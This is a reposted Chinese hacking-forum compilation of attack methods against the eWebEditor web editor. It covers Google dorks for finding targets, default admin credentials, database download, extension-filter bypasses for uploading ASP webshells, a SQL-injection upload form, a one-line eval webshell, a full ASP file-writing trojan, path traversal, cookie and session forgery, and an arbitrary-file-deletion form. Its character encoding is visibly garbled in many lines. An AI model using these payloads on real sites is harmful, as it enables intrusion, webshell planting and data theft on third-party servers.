Ewebeditor最新漏洞及漏洞大全[收集]javascript
来源:转载做者:佚名时间:2009-06-03 00:04:26 php
下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,现在的站点大多数用的都是ewebeditor编辑器,html
因此ewebeditor漏洞的危害性仍是至关大的,作了一下漏洞收集,漏洞修补的方法可去网上查找。java
漏洞更新日期TM: 2009 2 9日转自zake’S Blog
ewebeditor最新漏洞。这个程序爆漏洞通常都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字好比:1.gif.asp这种就OK了
那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方运行网络地址而后肯定之后,web
这里是最关键的一部!shell
这里点了远程上传之后,再提交获得木马地址
由于官方在图片文件夹作了限制致使不能运行ASP脚本而没能拿到WEB权限。
属于安全检測漏洞版本号ewebeditor v6.0.0数据库
曾经的ewebeditor漏洞:数组
ewebeditor注入漏洞浏览器
你们都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb
默认后台地址是admin_login.asp,另外存在遍历文件夹漏洞,假设是asp后缀的数据库还可以写入一句话
今天我给你们带来的也是ewebeditor编辑器的入侵方法
只是一种是注入,一种是利用upload.asp文件,本地构造
NO1:注入
http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content&style=full_v200
编辑器ewebedior7曾经版本号统统存在注入
直接检測不行的,要写入特征字符
咱们的工具是不知道ewebeditor的表名的还有列名
咱们本身去看看
哎。。先表吧
要先加入�进库
開始猜帐号password了
咱们==
心急的日后拉
出来了
[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
对吧^_^
后面不说了
NO2:利用upload.asp文件,本地构造上传shell
你们看这里
http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview&id=37
假设碰见这种状况又没法加入�工具栏是否是很是郁闷
现在不郁闷了,^_^源源不通常
咱们记录下他的样式名“aaa”
我已经吧upload.asp文件拿出来了
咱们构造下
OK,我以前已经构造好了
事实上就是这里
<form action=”地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myformenctype=”multipart/form-data”>
<input type=file name=uploadfile size=1 style=”width:100%”>
<input type=submit value=”上传了”></input>
</form>
如下咱们执行他上传个大马算了
UploadFile上传进去的在这个文件夹下
2008102018020762.asa安全
过往漏洞:
首先介绍编辑器的一些默认特征:
默认登录admin_login.asp
默认数据库db/ewebeditor.mdb
默认账号admin passwordadmin或admin888
搜索keyword:”inurl:ewebeditor”keyword十分重要
有人搜索”eWebEditor -eWebSoft在线编辑器”
根本搜索不到几个~
baidu.google搜索inurl:ewebeditor
几万的站起码有几千个是具备默认特征的~
那么试一下默认后台
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp
试默认账号password登录。
利用eWebEditor得到WebShell的步骤大体例如如下:
1.肯定站点使用了eWebEditor。通常来讲,咱们仅仅要注意发表帖子(文章)的页面是否有相似作了记号的图标,就可以大体作出推断了。
2.查看源码,找到eWebEditor的路径。点击“查看源码”,看看源码中是否存在相似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的语句。事实上仅仅有发现了存在这种语句了,才干够真正肯定这个站点使用了eWebEditor。而后记下src=’***’中的“***”,这就是eWebEditor路径。
3.訪问eWebEditor的管理登陆页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一文件夹下。以上面的路径为例,咱们訪问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登陆页面。
假设没有看到这种页面,说明管理员已经删除了管理登陆页面,呵呵,还等什么,走人啊,换个地方试试。只是通常来讲,我很是少看到有哪一个管理员删了这个页面,试试默认的username:admin,password:admin888。怎么样?成功了吧(不是默认帐户请看后文)!
4.添加�上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为何要选择列表中底下的样式?因为eWebEditor自带的样式是不一样意改动的,固然你也可以拷贝一个新的样式来设置。
而后在上传的文件类型中添加�“asa”类型。
5.上传ASP木马,得到WebShell。接下来将ASP木马的扩展名改动为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,而后选择“插入其余文件”的button就可以了。
漏洞原理
漏洞的利用原理很是easy,请看Upload.asp文件:
不论什么状况下都不一样意上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
因为eWebEditor只过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然做者已经知道asp文件需要过滤,为何不一样一时候过滤asa、cer等文件呢?或许这就是对免费用户不负责任的表现吧!
高级应用
eWebEditor的漏洞利用另外一些技巧:
1.使用默认username和password没法登陆。
请试试直接下载db文件夹下的ewebeditor.mdb文件,username和password在eWebEditor_System表中,通过了md5加密,假设没法下载或者没法破解,那就当本身的运气很差了。
2.加了asa类型后发现仍是没法上传。
应该是站长懂点代码,本身改动了Upload.asp文件,但是没有关系,依照常人的思惟习惯,每每会直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上改动,我就看见过一个站长是这样改动的:
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
猛一看什么都过滤了,但是咱们仅仅要在上传类型中添加�“aaspsp”,就可以直接上传asp文件了。呵呵,是否是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉你们一个秘密,事实上动网论坛7.0 sp2中也可以利用相似的方法绕过对扩展名的过滤。
3.上传了asp文件后,却发现该文件夹没有执行脚本的权限。
呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以改动的吗?细致看看图四。
4.已经使用了第2点中的方法,但是asp类型仍是没法上传。
看来站长确定是一个写asp的高手,但是咱们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定本身主动保存远程文件的类型,咱们能够添�asp类型。但是怎样才干让远程訪问的asp文件能够以源代码形式保存呢?方法是很是多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。
后记
依据本身的经验,差点儿仅仅要能进入eWebEditor的后台管理,基本上均可以得到WebShell。在Google上搜索“ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大体抽查了当中几个,发现成功率约为50%。还不错吧?oblg 2.52版曾经的版本号也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方站点和帮助文件里根本没有这方面的安全提示。还有,我发现官方提供的測试系统并不存在相似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!
eWebEditor=>2.8 商业版后台一句话木马利用
登录后台,点击改动password---新password设置为 1":evalrequest("a")’
设置成功后,訪问asp/config.asp文件就能够,一句话木马被写入到这个文件中面了.
ewebeditor漏洞利用总结
先从最主要的记录起!一般入侵ewebeditor编辑器的过程例如如下:
1、首先訪问默认管理页看是否存在。
默认管理页地址2.80曾经为 ewebeditor/admin_login.asp 之后版本号为admin/login.asp (各类语言的你们本身改后缀,本文就以asp来进行说明,如下再也不细说了!)
2、默认管理账号password!
默认管理页存在!咱们就用账号password登录!默认账号password为: admin admin888 !常用的password还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
假设password不是默认的。咱们就訪问是否是默认数据库!尝试下载数据库获得管理员password!管理员的账号password,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。获得了加密password。可以去www.cmd5.com www.xmd5.org 等站点进行查询!暴力这活很久不干了!也可以丢国外一些可以跑password的站点去跑!
默认数据库路径为:ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
很是多管理员常改.asp后缀,通常訪问.asp .asa 后缀的都是乱码!可以用下载工具下载下来,而后更改后缀为.mdb 来查看内容!
4、说说漏洞基本利用步骤,还以asp为例!
登录后台之后。选择样式管理,默认编辑器的默认样式都不可以改动的。咱们可以从随意样式新建一个样式,而后在图片上传加入�可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是咱们可以用.asaspp后缀来加入�,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不具体说了。总之是个很是好笑的过滤!相同,假设遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都全然禁止了,咱们也可以用.asasaa 后缀来突破。加入�完了后缀,可以在样式管理,点击预览,而后上传!
5、默认管理页不存在!
在实际入侵过程当中,有很是多默认的管理页不存在的时候。咱们可以直接訪问样式管理页面 ewebeditor/admin_style.asp 而后用第4步的方式拿webshell。假设样式管理页也不存在的话,咱们可以看数据库内的样式表(ewebeditor_style)里面有没有比咱们先进去的朋友留下的样式。而后构造上传!详细url例如如下:eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是咱们发现被改动加入�了asa后缀的样式名,你们自行改动!
6、ewebeditor的几个版本号存在注入!
ewebeditor 曾经版本号都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
加入�验证字符串,和管理员字段可以跑出管理员的md5加密password!
ewebeditor v2.1.6存在注入,可以用union select 加入�上传后缀进行上传!先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6上传漏洞利用程序----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfrom ewebeditor_style where s_name='standard'and'a'='a" method=postname=myform enctype="multipart/form-data">
<input type=file name=uploadfilesize=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
以上代码令存为html!改动红色部分的路径,而后本身主动上传 .cer 文件!漏洞缘由是因为sStyleName变量直接从style中读取,并无过滤,因此可以包括随意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,咱们可以在sAllowExt中添�"|cer"、"|asa"等!
另外另外一些版本号的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!详细利用例如如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意改动红色部分的字段名、位数、ascii码的值!
7、文件夹遍历漏洞!
这里大概说一下!文件夹遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本号的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登录验证,有些需要!很是多有经验的管理员会把编辑器的文件夹设置为仅仅读权限,不可改动!这样的状况下,惟一可以利用的也就是利用遍历文件夹功能查看站点文件,比方数据库路径、后台地址、其它的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!
漏洞利用方式例如如下:在上传文件管理页面随便选择一个上传样式!比方ewebeditor/admin_uploadfile.asp?id=14 在id后面加入�&dir=../..
相似例如如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/可以看到站点数据库的路径!
另一个遍历文件夹的漏洞文件是ewebeditor/asp/browse.asp
漏洞代码为:
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO =Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下咱们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If
If sDir <> "" Then
If InstrRev(sDir, "/") > 1Then
s_Url= Left(sDir, InstrRev(sDir,"/") - 1)
Else
s_Url = ""
End If
s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.WritesDir&"!"&s_List
Dim oSubFolder
For Each oSubFolder InoUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" &oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name &"" & _
" " & _
""
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检測了所有赞成的文件后缀,如不一样意就没法列出,否则就不只仅列出文件夹名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir &"/" & sFileName
End If
s_List = s_List & "" & _
"" & FileName2Pic(sFileName)& "" & _
"" & sFileName &"" & _
"" &GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir &""
's_Url = "/" & sDir &"/"
End If
s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"
GetList = s_List
End Function
'假设没有如下这步检測的话,应该就可以列出文件夹中所有的文件了,有点郁闷..现在仅仅能列出赞成后缀的文件和文件夹名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'咱们顺着代码往下找,发现sCurrDir的值是经过如下的值获得的
Sub InitParam()
sType =UCase(Trim(Request.QueryString("type")))
sStyleName =Trim(Request.QueryString("style"))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i),"|||")
If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("alert('InvalidStyle.')")
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1
If nAllowBrowse <> 1 Then
OutScript("alert('Do not allowbrowse!')")
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <>"/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" &sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" &sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" &sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" &sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" &sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"
Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" &aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" &aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" &aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" &aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" &aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath =RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是获得了配置的路径地址
sDir = Trim(Request("dir")) '获得dir变量
sDir = Replace(sDir, "\","/") '对dir变量进行过滤
sDir = Replace(sDir, "../","")
sDir = Replace(sDir, "./","")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then
sCurrDir = sUploadDir & sDir &"/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'尽管上面对sDir进行了过滤,只是咱们全然可以跳过.详细利用如下的利用中给出
Else
sDir = ""
End If
End If
End Sub
利用方式例如如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源码,就可以看到文件夹列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。当旁注获得一个webshell,而目标站存在ewebeditor却不能找到password的时候可以尝试欺骗进入后台!顺序例如如下:
新建一个.asp文件,内容例如如下:<%Session("eWebEditor_User") = "123132323"%> 而后訪问这个文件,再訪问ewebeditor/admin_default.asp!欺骗进入后台!只是很是老了!
9、后台跳过认证漏洞!
訪问后台登录页面!随便输入账号password,返回错误!而后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
而后再清空地址栏,在路径里输入后台登录后的页面,比方: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
比方s_full样式就存在这个功能,打开编辑页面,而后图片,选择输入url 比方:http://site.com/1.gif.asp ! 而后选择上传远程文件!本身主动就把1.gif.asp 保存在上传文件夹内!注:网上的东西大部分传来传去,这个办法愚弄本身还成!文件的确显示后缀为.asp但是不能訪问,因为收集过来的时候本身主动截止在1.gif了因此后面的.asp等于没有!而且gif的内容就是咱们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候运行,咱们文件的代码生成另外的小马!
利用代码例如如下:
首先创建1.gif.asp 代码例如如下
<%
Set fs =CreateObject("Scripting.FileSystemObject")
SetMyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在咱们的1.gif.asp的同文件夹下创建一个akteam.asp文件,内容就是咱们的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%setdama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action=''method=post>"%>
<%="<input type=textname=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submitvalue=save>"%>
<%="</form>"%>
利用上面说的远程上传的方式!可以获得webshell!成功率取决于,虚拟主机的安全设置!
11、随意文件删除漏洞!
此漏洞存在于Example\NewsSystem文件夹下的delete.asp文件里,这是ewebeditor的測试页面,无须登录可以直接进入!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从目录中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名称删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName =oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么加入�到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") =sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")
End Function
既然路径没有过滤,那就可以直接定义了,构造一个提交页面,当中d_savepathfilename本身随意赋值(要删除多个文件,用|隔开就能够)。试试../../eWebEditor.asp,提交后删除该新闻,因而主文件夹下的eWebEditor.asp不见了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>
新闻列表%20|%20添加�新闻
添加�新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post"name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text"name="d_savepathfilename" value=""size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text"name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><selectname="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将本身主动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textareaname="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmitvalue=" 提交 ">
<input type=reset name=btnResetvalue=" 重填 ">
</form>
</BODY></HTML>
删除文件漏洞一般是配合其它漏洞使用的,比方文件夹遍历
<a href='list.asp'>中的list.asp地址要改动
<a href='add.asp'>中的add.asp地址要改动
<formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要改动)
另一个简单利用方式:
<formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post">
<input type=hiddenname=d_originalfilename value="x">
<input type=hidden name=d_savefilenamevalue="x">
要删除的文件(相对路径,多个文件用“|”隔开)<br>
<input type=textname=d_savepathfilename>
<input type=hiddenname="d_title" value="x">
<input type=hiddenname="d_picture" value="x">
<textareaname="d_content">x</textarea>
<input type=submit name=btnSubmitvalue="submit">
</form>
而后获得返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
有几个版本号的ewebeditor上传类型是在security.asp 文件控制的!直接删除该文件可以上传随意webshell!
12、其它!
其它说点什么呢!以上的办法都是本人经验和网上搜集!临时就想到这些了,之后想到了再补全!说说aspxphp jsp版本号的利用吧!
ASPX版:
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能获得shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....
PHP版本号:PhP版本号和asp版本号利用方式相似!只是php权限较高,很少废话了!
jsp版本号:网上有很是多jsp的版本号,根本没有对上传文件类型进行检測!需要注意的是jsp版本号的没有上传button!直接选择文件,回车就可以提交了!
安脚本分主要有4个版本号,ASP/ASPX/PHP/JSP 每个版本号都有可以利用的漏洞。
安全漏洞
管理员未对编辑器的数据库路径和名称进行改动,致使可以利用编辑器默认路径直接对站点数据库进行下载。
管理员未对编辑器的用户登陆路径进行改动,致使黑客可以利用站点数据库所得到的username和password直接登录编辑器管理后台。
ASP版
重要文件的名称和路径
Admin_login.asp
Admin_default.asp
Admin_style.asp
Admin_uploadfile.asp
Upload.asp
Admin_modipwd.asp
eWebEditor.asp
db/ewebeditor.mdb
通常用这个的默认后台的URL都是默认的
www.***.com/admin/ewebeditor/login_admin.asp
www.***.com/ewebeditor/login_admin.asp
www.***.com/admin/eweb/login_admin.asp
www.***.com/admin/editor/login_admin.asp
下载数据库
还有假设默认的帐户和password改动了,咱们可以下载他们的数据库,而后本地破解MD5了
默认数据库…/db/ewebeditor.mdb 或者。../db/ewebeditor.asp
登陆后台后,点击样式管理,随便选择一个样式,自带的样式不能改动的。
拷贝一个样式,在其余类型中添加�,asa类型,接下来把免杀的asp木马的后缀名改为asa,返回管理首页,点击预览,而后选择插入其余文件的button进行asp木马的上传,上传的ASP木马就在,UploadFILE目录里。
假设加了asa类型后发现仍是没法上传。应该是站长懂点代码,本身改动了Upload.asp文件,但是没有关系,依照常人的思惟习惯,每每直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)一句上改动。
但是咱们仅仅要在上传类型中添加�“aaspsp”,就可以传asp文件了,
假设上述两种方法都失败了,则利用eWebEditor能够设定本身主动保存远程文件的类型,咱们能够添�asp类型。但是怎样才干让远程訪问的asp文件能够以源代码形式保存呢?方法是很是多的,最简单的方法是将IIS中的应用文件映射中的ASP删除。
有的站数据库设置了仅仅读属性,这种站你是没法新加样式的,这种站你可以看他数据库里的样式设置状况,通常很是多时候都是让人给拿过的,而且明显的asa在那里。这种话就可以直接构造一个调用这个样式的链接来上传shell.
比方发现数据库里有样式123他设置的是可以上传asa的话,那么就可以这样调用:http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123
这样就可以直接上传了,而后在点编辑就会找到shell的路径了。事实上这个漏洞主要是upload.asp的过滤不严形成的,新版的应该都修复了,详细爱影响的版本号我也没统计过。
遍历路径
Ewebeditor遍历路径漏洞,当数据库仅仅读的时候,ewebeditor/admin_uploadfile.asp?id=14在id=14后面加入�&dir=再加&dir=/或&dir=http://www.****.com// 看到整个站点文件了,只是此项測试的时候发现,仅仅有登陆成功才干进行操做。
Cookie漏洞
漏洞文件:admin_private.asp
漏洞语句:
<% if session (“eWebEditor_User”) = “”Then
Response.Redirect “admin_login.asp”
Response.End
End If
仅仅推断了session,没有推断cookies和路径的验证问题。
漏洞利用:
新建一个mrchen.asp内容例如如下:
<%Session (“eWebEditor_User”) =”11111111”%>
訪问mrchen.asp,再訪问后台不论什么文件,forexample:Admin_Default.asp这个拿shell的方法就简单了。